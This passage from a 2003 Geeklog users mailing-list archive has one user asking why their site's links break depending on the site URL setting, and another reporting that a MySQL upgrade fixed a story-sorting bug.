> >The following are pertinent information for my system
> >
> >Router -WAN IP 216.49.74.183  LAN IP 192.168.1.1
> >Server LAN IP 192.168.1.22
> >Sever DNS entry 192.168.1.22 - Microsoft recommended
> >
> >
> >Windows 2000 Advanced Server with Active Directory and Local DNS
> >Apache 2.0.47
> >PHP 4.3.2
> >Mysql 4.0.13
> >Geeklog 1.3.8
> >Gallery 1.4
> >
> >My docroot is d:/apache/apache2/htdocs/feyiola_public
> >
> >When I had my $_CONF['site url'] as http:'localhost' it works
>perfectly
> >well on my webserver but it cannot be viewed on the internet, it
>shows
> >broken links. When I change the localhost entry to www.feyiola.com,
>then
> >locally I get the broken links.
> >
> >I have attached my httpd.conf and the config.php for you to look at.
> >
> >As at now, the localhost is the entry in the site url. so if you go
>to
> >the site, you will get the site with broken links.
> >
> >Am I supposed to share any of my directories to make my site work?
> >
> >Please I am desperate. It is not working and I think it has something
> >to do with my config.php file.
> >
> >Ola
> >_______________________________________________
> >geeklog-users mailing list
> >geeklog-users at lists.geeklog.net
> >http://lists.geeklog.net/listinfo/geeklog-users
> >
> >
> >
>
>
>_______________________________________________
>geeklog-users mailing list
>geeklog-users at lists.geeklog.net
>http://lists.geeklog.net/listinfo/geeklog-users
>_______________________________________________
>geeklog-users mailing list
>geeklog-users at lists.geeklog.net
>http://lists.geeklog.net/listinfo/geeklog-users




From woklist at charter.net  Tue Dec 30 12:49:21 2003
From: woklist at charter.net (William K)
Date: Tue, 30 Dec 2003 11:49:21 -0600
Subject: [geeklog-users] story sorting messed up - fixed
In-Reply-To: <5E3AADC2-3A3E-11D8-B68F-000A95DB713E@charter.net>
References: <5E3AADC2-3A3E-11D8-B68F-000A95DB713E@charter.net>
Message-ID: <7F641925-3AF0-11D8-A56C-000A95DB713E@charter.net>

Well, I fixed it.  I don't know if it was Apple's preinstalled MySQL on 
OSX Server or if it was the version (4.0.16).  I installed 4.0.17 and 
the sorting problem is sorted out ^_^


On Dec 29, 2003, at 2:34 PM, William K wrote:

> I just transferred our geeklog site to a new computer, and the story 
> sorting is now random.  Same GL version (1.3.8sr4), config settings 
> all the same.  But the new system has MySQL 4.0 (previous 3.23.51).  I 
> used a sql dump from the old and imported that into the new mysql 
> before running geeklog.

-----
William Kyngesburye <kyngchaos at charter.net>
http://webpages.charter.net/kyngchaos/

All generalizations are dangerous, even this one.